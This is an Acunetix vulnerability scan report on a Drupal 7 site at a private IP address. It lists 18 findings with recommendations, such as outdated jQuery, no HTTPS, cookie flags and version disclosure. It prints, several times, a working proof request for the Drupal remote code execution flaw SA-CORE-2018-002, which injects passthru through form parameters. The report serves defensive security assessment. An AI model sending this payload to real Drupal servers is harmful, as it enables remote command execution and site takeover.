Acunetix
by Invicti

Affected Items Report

Acunetix Security Audit

2026-02-20

Generated by Acunetix

Scan of 192.168.0.119

Scan details

Scan information	
Start time	2026-02-20T08:44:43.417122+00:00
Start url	http://192.168.0.119
Host	192.168.0.119
Scan time	142 minutes, 28 seconds
Profile	Full Scan
Server information	Apache/2.2.22 (Debian)
Responsive	True
Server OS	Unix
Server technologies	PHP
Scan status	aborted
Application build	24.6.240626115

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	18
Critical	0
High	1
Medium	11
Low	3
Informational	3

Affected items

Web Server	
Alert group	**Drupal Remote Code Execution (SA-CORE-2018-002)**
Severity	High
Description	A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
Recommendations	Upgrade to the most recent version of Drupal 7 or 8 core. If you are running 7.x, upgrade to Drupal 7.58. If you are running 8.5.x, upgrade to Drupal 8.5.1.
Alert variants	
Details	

```
POST /?q=user/password&name[%23post_render]
[]=passthru&name[%23type]=markup&name[%23markup]=echo%20HM9usvx4 HTTP/1.1
Content-type: application/x-www-form-urlencoded
Content-Length: 47
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive

form_id=user_pass&_triggering_element_name=name
```

Web Server	
Alert group	**Insecure HTTP Usage**
Severity	Medium
Description	It was detected that your web application uses HTTP protocol, but doesn't automatically redirect users to HTTPS.
Recommendations	It's recommended to implement best practices of HTTP Redirection into your web application. Consult web references for more information
Alert variants	
Details	

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**JQuery Prototype Pollution Vulnerability**
Severity	Medium
Description	jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.
Recommendations	

Alert variants	
Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**Password transmitted over HTTP**
Severity	Medium
Description	User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.
Recommendations	Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).
Alert variants	

Details	Forms with credentials sent in clear text: • http://192.168.0.119/ Form name: <empty> Form action: /node?destination=node Form method: POST Password input: pass • http://192.168.0.119/node Form name: <empty> Form action: /node?destination=node Form method: POST Password input: pass • http://192.168.0.119/filter/tips/ Form name: <empty> Form action: /filter/tips?destination=filter/tips Form method: POST Password input: pass • http://192.168.0.119/filter/tips Form name: <empty> Form action: /filter/tips?destination=filter/tips Form method: POST Password input: pass • http://192.168.0.119/cron.php Form name: <empty> Form action: /node?destination=node Form method: POST Password input: pass • http://192.168.0.119/user Form name: <empty> Form action: /user Form method: POST Password input: pass • http://192.168.0.119/index.php Form name: <empty> Form action: /node?destination=node Form method: POST Password input: pass • http://192.168.0.119/cron.php Form name: <empty> Form action: /1?destination=1 Form method: POST Password input: pass • http://192.168.0.119/1 Form name: <empty> Form action: /1?destination=1 Form method: POST Password input: pass

- http://192.168.0.119/filter/

```
Form name: <empty>
Form action: /filter?destination=filter
Form method: POST
Password input: pass
```

- http://192.168.0.119/filter

```
Form name: <empty>
Form action: /filter?destination=filter
Form method: POST
Password input: pass
```

- http://192.168.0.119/user/

```
Form name: <empty>
Form action: /user/
Form method: POST
Password input: pass
```

```
GET / HTTP/1.1
Referer: http://192.168.0.119/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**SSL/TLS Not Implemented (verified)**
Severity	Medium
Description	This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.
Recommendations	The site should send and receive data over a secure (HTTPS) connection.
Alert variants	
Details	

```
GET / HTTP/1.1
Referer: http://192.168.0.119/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**Vulnerable JavaScript libraries**
Severity	Medium
Description	You are using one or more vulnerable JavaScript libraries. One or more vulnerabilities were reported for this version of the library. Consult Attack details and Web References for more information about the affected library and the vulnerabilities that were reported.
Recommendations	Upgrade to the latest version.

Alert variants	
Details	• **jQuery 1.4.4** ◦ URL: http://192.168.0.119/ ◦ Detection method: The library's name and version were determined based on its dynamic behavior. ◦ CVE-ID: CVE-2011-4969, CVE-2015-9251, CVE-2020-11022, CVE-2020-11023 ◦ Description: Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag. / Selector interpreted as HTML / Possible Cross Site Scripting via third-party text/javascript responses / In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. ◦ References: ▪ http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4969 ▪ http://research.insecurelabs.org/jquery/test/ ▪ http://bugs.jquery.com/ticket/11290 ▪ https://github.com/jquery/jquery/issues/2432 ▪ http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/ ▪ https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ ▪ https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html ▪ https://jquery.com/upgrade-guide/3.5/ ▪ https://api.jquery.com/jQuery.htmlPrefilter/ ▪ https://www.cvedetails.com/cve/CVE-2020-11022/ ▪ https://github.com/advisories/GHSA-gxr4-xjj5-5px2 ▪ https://www.cvedetails.com/cve/CVE-2020-11023/ ▪ https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

```
GET / HTTP/1.1
Referer: http://192.168.0.119/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability**
Severity	Medium
Description	jQuery before 1.9.0 is vulnerable to Cross-site Scripting (XSS) attacks. The jQuery(strInput) function does not differentiate selectors from HTML in a reliable fashion. In vulnerable versions, jQuery determined whether the input was HTML by looking for the '<' character anywhere in the string, giving attackers more flexibility when attempting to construct a malicious payload. In fixed versions, jQuery only deems the input to be HTML if it explicitly starts with the '<' character, limiting exploitability only to attackers who can control the beginning of a string, which is far less common.
Recommendations	
Alert variants	

Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability**
Severity	Medium
Description	Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements, allows remote attackers to inject arbitrary web script or HTML via a crafted tag.
Recommendations	
Alert variants	
Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability**
Severity	Medium
Description	jquery prior to 1.9.0 allows Cross-site Scripting attacks via the load method. The load method fails to recognize and remove "<script>" HTML tags that contain a whitespace character, i.e: "</script >", which results in the enclosed script logic to be executed.
Recommendations	
Alert variants	
Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability**
Severity	Medium
Description	jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text/javascript responses to be executed.
Recommendations	
Alert variants	
Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability**
Severity	Medium
Description	In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.
Recommendations	
Alert variants	
Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability**
Severity	Medium
Description	In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.
Recommendations	
Alert variants	
Details	jquery v1.4.4-1.4.4

Web Server	
Alert group	**Cookies with missing, inconsistent or contradictory properties (verified)**
Severity	Low
Description	At least one of the following cookies properties causes the cookie to be invalid or incompatible with either a different property of the same cookie, of with the environment the cookie is being used in. Although this is not a vulnerability in itself, it will likely lead to unexpected behavior by the application, which in turn may cause secondary security issues.
Recommendations	Ensure that the cookies configuration complies with the applicable standards.
Alert variants	

Details	List of cookies with missing, inconsistent or contradictory properties:
	
	• http://192.168.0.119/
	
	Cookie was set with:
	
	`Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=ND2c_I4pm2KUgj2`
	
	This cookie has the following issues:
	
	`- Cookie without SameSite attribute.`
	`When cookies lack the SameSite attribute, Web browsers may apply`
	
	• http://192.168.0.119/
	
	Cookie was set with:
	
	`Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire`
	
	This cookie has the following issues:
	
	`- Cookie without SameSite attribute.`
	`When cookies lack the SameSite attribute, Web browsers may apply`
	
	• http://192.168.0.119/node
	
	Cookie was set with:
	
	`Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire`
	
	This cookie has the following issues:
	
	`- Cookie without SameSite attribute.`
	`When cookies lack the SameSite attribute, Web browsers may apply`
	
	• http://192.168.0.119/
	
	Cookie was set with:
	
	`Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=7wjEzIq8EzrbKT9`
	
	This cookie has the following issues:
	
	`- Cookie without SameSite attribute.`
	`When cookies lack the SameSite attribute, Web browsers may apply`
	
	• http://192.168.0.119/filter/tips
	
	Cookie was set with:
	
	`Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire`
	
	This cookie has the following issues:
	
	`- Cookie without SameSite attribute.`
	`When cookies lack the SameSite attribute, Web browsers may apply`

- http://192.168.0.119/xmlrpc.php

  Cookie was set with:

  ```
  Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply
  ```

- http://192.168.0.119/1

  Cookie was set with:

  ```
  Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply
  ```

- http://192.168.0.119/user/register

  Cookie was set with:

  ```
  Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=ff_SInlBpPWTED3
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply
  ```

- http://192.168.0.119/user/register

  Cookie was set with:

  ```
  Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply
  ```

- http://192.168.0.119/filter/

  Cookie was set with:

  ```
  Set-Cookie: SESS57ff8dd75d79aaa599c77ddcbdbc5a3b=deleted; expire
  ```

  This cookie has the following issues:

  ```
   - Cookie without SameSite attribute.
  When cookies lack the SameSite attribute, Web browsers may apply
  ```

```
POST /?name[%23markup]=echo%20HM9usvx4&name[%23post_render]
[]=passthru&name[%23type]=markup&q=user/password HTTP/1.1
Referer: http://192.168.0.119/
Cookie: has_js=1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 47
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive

_triggering_element_name=name&form_id=user_pass
```

Web Server	
Alert group	**Documentation files**
Severity	Low
Description	One or more documentation files (e.g. readme.txt, changelog.txt, ...) were found. The information contained in these files could help an attacker identify the web application you are using and sometimes the version of the application. It's recommended to remove these files from production systems.
Recommendations	Remove or restrict access to all documentation file acessible from internet.
Alert variants	

Details	Documentation files:
	• http://192.168.0.119/**README**
	File contents (first 100 characters):
	`CONTENTS OF THIS FILE ---------- * About Drupal * Configuration and features * Insta ...`
	• http://192.168.0.119/**README.txt**
	File contents (first 100 characters):
	`CONTENTS OF THIS FILE ---------- * About Drupal * Configuration and features * Insta ...`
	• http://192.168.0.119/**INSTALL.txt**
	File contents (first 100 characters):
	`CONTENTS OF THIS FILE ---------- * Requirements and notes * Optional server requireme ...`

```
GET /README HTTP/1.1
Cookie: has_js=1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**Version Disclosure (PHP)**
Severity	Low
Description	The web server is sending the X-Powered-By: response headers, revealing the PHP version.
Recommendations	Configure your web server to prevent information leakage from its HTTP response.
Alert variants	
Details	Version detected: **PHP/5.4.45-0+deb7u14**.

Web Server	
Alert group	**Content Security Policy (CSP) Not Implemented**
Severity	Informational

Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.
	
	Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:
	
	`Content-Security-Policy:`
	`default-src 'self';`
	`script-src 'self' https://code.jquery.com;`
	
	It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Recommendations	It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.
Alert variants	

Details	Paths without CSP header: • http://192.168.0.119/ • http://192.168.0.119/user/password • http://192.168.0.119/filter/tips/ • http://192.168.0.119/install.php • http://192.168.0.119/xmlrpc.php • http://192.168.0.119/user • http://192.168.0.119/index.php • http://192.168.0.119/1 • http://192.168.0.119/user/register • http://192.168.0.119/filter/ • http://192.168.0.119/filter • http://192.168.0.119/node • http://192.168.0.119/filter/tips • http://192.168.0.119/user/

```
GET / HTTP/1.1
Referer: http://192.168.0.119/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**Permissions-Policy header not implemented**
Severity	Informational
Description	The Permissions-Policy header allows developers to selectively enable and disable use of various browser features and APIs.
Recommendations	
Alert variants	

Details	Locations without Permissions-Policy header: • http://192.168.0.119/ • http://192.168.0.119/node • http://192.168.0.119/user/password • http://192.168.0.119/filter/tips/ • http://192.168.0.119/filter/tips • http://192.168.0.119/cron.php • http://192.168.0.119/includes/ • http://192.168.0.119/install.php • http://192.168.0.119/profiles/ • http://192.168.0.119/scripts/ • http://192.168.0.119/update.php • http://192.168.0.119/xmlrpc.php • http://192.168.0.119/user • http://192.168.0.119/index.php • http://192.168.0.119/sites/all/modules/ctools/images/ • http://192.168.0.119/1 • http://192.168.0.119/sites/all/modules/views/help/ • http://192.168.0.119/user/register • http://192.168.0.119/filter/ • http://192.168.0.119/filter • http://192.168.0.119/modules/field/tests/

```
GET / HTTP/1.1
Referer: http://192.168.0.119/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive
```

Web Server	
Alert group	**[Possible] Internal Path Disclosure (*nix)**
Severity	Informational
Description	One or more fully qualified path names were found. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pages with paths being disclosed: • http://192.168.0.119/ **>/var/www/includes/unicode.inc** • http://192.168.0.119/filter/tips **>/var/www/includes/common.inc**

```
POST /?name[%23markup]=echo%20HM9usvx4&name[%23post_render]
[]=passthru&name[%23type]=markup&q=user/password HTTP/1.1
Referer: http://192.168.0.119/
Cookie: has_js=1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 47
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/125.0.0.0 Safari/537.36
Host: 192.168.0.119
Connection: Keep-alive

_triggering_element_name=name&form_id=user_pass
```

Scanned items (coverage report)

http://192.168.0.119/
http://192.168.0.119/1
http://192.168.0.119/INSTALL.mysql.txt
http://192.168.0.119/INSTALL.pgsql.txt
http://192.168.0.119/INSTALL.sqlite.txt
http://192.168.0.119/INSTALL.txt
http://192.168.0.119/LICENSE.txt
http://192.168.0.119/MAINTAINERS.txt
http://192.168.0.119/README
http://192.168.0.119/README.txt
http://192.168.0.119/UPGRADE.txt
http://192.168.0.119/cron.php
http://192.168.0.119/filter
http://192.168.0.119/filter/
http://192.168.0.119/filter/tips
http://192.168.0.119/filter/tips/
http://192.168.0.119/includes/
http://192.168.0.119/index.php
http://192.168.0.119/install.php
http://192.168.0.119/misc/
http://192.168.0.119/misc/drupal.js
http://192.168.0.119/misc/jquery.cookie.js
http://192.168.0.119/misc/jquery.js
http://192.168.0.119/misc/jquery.once.js
http://192.168.0.119/misc/tableheader.js
http://192.168.0.119/modules/
http://192.168.0.119/modules/field/
http://192.168.0.119/modules/field/modules/
http://192.168.0.119/modules/field/tests/
http://192.168.0.119/modules/field/theme/
http://192.168.0.119/modules/field/theme/field.css
http://192.168.0.119/modules/file/
http://192.168.0.119/modules/help/
http://192.168.0.119/modules/image/
http://192.168.0.119/modules/menu/
http://192.168.0.119/modules/node/
http://192.168.0.119/modules/node/node.css
http://192.168.0.119/modules/node/node.js
http://192.168.0.119/modules/php/
http://192.168.0.119/modules/profile/
http://192.168.0.119/modules/search/
http://192.168.0.119/modules/search/search.css
http://192.168.0.119/modules/statistics/
http://192.168.0.119/modules/system/
http://192.168.0.119/modules/system/system.admin.css
http://192.168.0.119/modules/system/system.base.css
http://192.168.0.119/modules/system/system.maintenance.css
http://192.168.0.119/modules/system/system.menus.css
http://192.168.0.119/modules/system/system.messages.css
http://192.168.0.119/modules/system/system.theme.css
http://192.168.0.119/modules/user/
http://192.168.0.119/modules/user/user.css
http://192.168.0.119/node
http://192.168.0.119/profiles/
http://192.168.0.119/robots.txt
http://192.168.0.119/scripts/
http://192.168.0.119/sites/
http://192.168.0.119/sites/all/
http://192.168.0.119/sites/all/modules/
http://192.168.0.119/sites/all/modules/ctools/
http://192.168.0.119/sites/all/modules/ctools/css/
http://192.168.0.119/sites/all/modules/ctools/css/ctools.css

http://192.168.0.119/sites/all/modules/ctools/help/
http://192.168.0.119/sites/all/modules/ctools/images/
http://192.168.0.119/sites/all/modules/ctools/includes/
http://192.168.0.119/sites/all/modules/ctools/js/
http://192.168.0.119/sites/all/modules/ctools/plugins/
http://192.168.0.119/sites/all/modules/ctools/tests/
http://192.168.0.119/sites/all/modules/views/
http://192.168.0.119/sites/all/modules/views/css/
http://192.168.0.119/sites/all/modules/views/css/views.css
http://192.168.0.119/sites/all/modules/views/help/
http://192.168.0.119/sites/all/modules/views/images/
http://192.168.0.119/sites/all/modules/views/includes/
http://192.168.0.119/sites/all/modules/views/js/
http://192.168.0.119/sites/all/modules/views/modules/
http://192.168.0.119/sites/all/modules/views/plugins/
http://192.168.0.119/sites/all/modules/views/tests/
http://192.168.0.119/sites/all/themes/
http://192.168.0.119/sites/default/
http://192.168.0.119/themes/
http://192.168.0.119/themes/bartik/
http://192.168.0.119/themes/bartik/css/
http://192.168.0.119/themes/bartik/css/colors.css
http://192.168.0.119/themes/bartik/css/ie.css
http://192.168.0.119/themes/bartik/css/ie6.css
http://192.168.0.119/themes/bartik/css/layout.css
http://192.168.0.119/themes/bartik/css/print.css
http://192.168.0.119/themes/bartik/css/style.css
http://192.168.0.119/themes/bartik/images/
http://192.168.0.119/themes/bartik/templates/
http://192.168.0.119/themes/seven/
http://192.168.0.119/themes/seven/ie.css
http://192.168.0.119/themes/seven/ie6.css
http://192.168.0.119/themes/seven/ie7.css
http://192.168.0.119/themes/seven/reset.css
http://192.168.0.119/themes/seven/style.css
http://192.168.0.119/update.php
http://192.168.0.119/user
http://192.168.0.119/user/
http://192.168.0.119/user/password
http://192.168.0.119/user/register
http://192.168.0.119/xmlrpc.php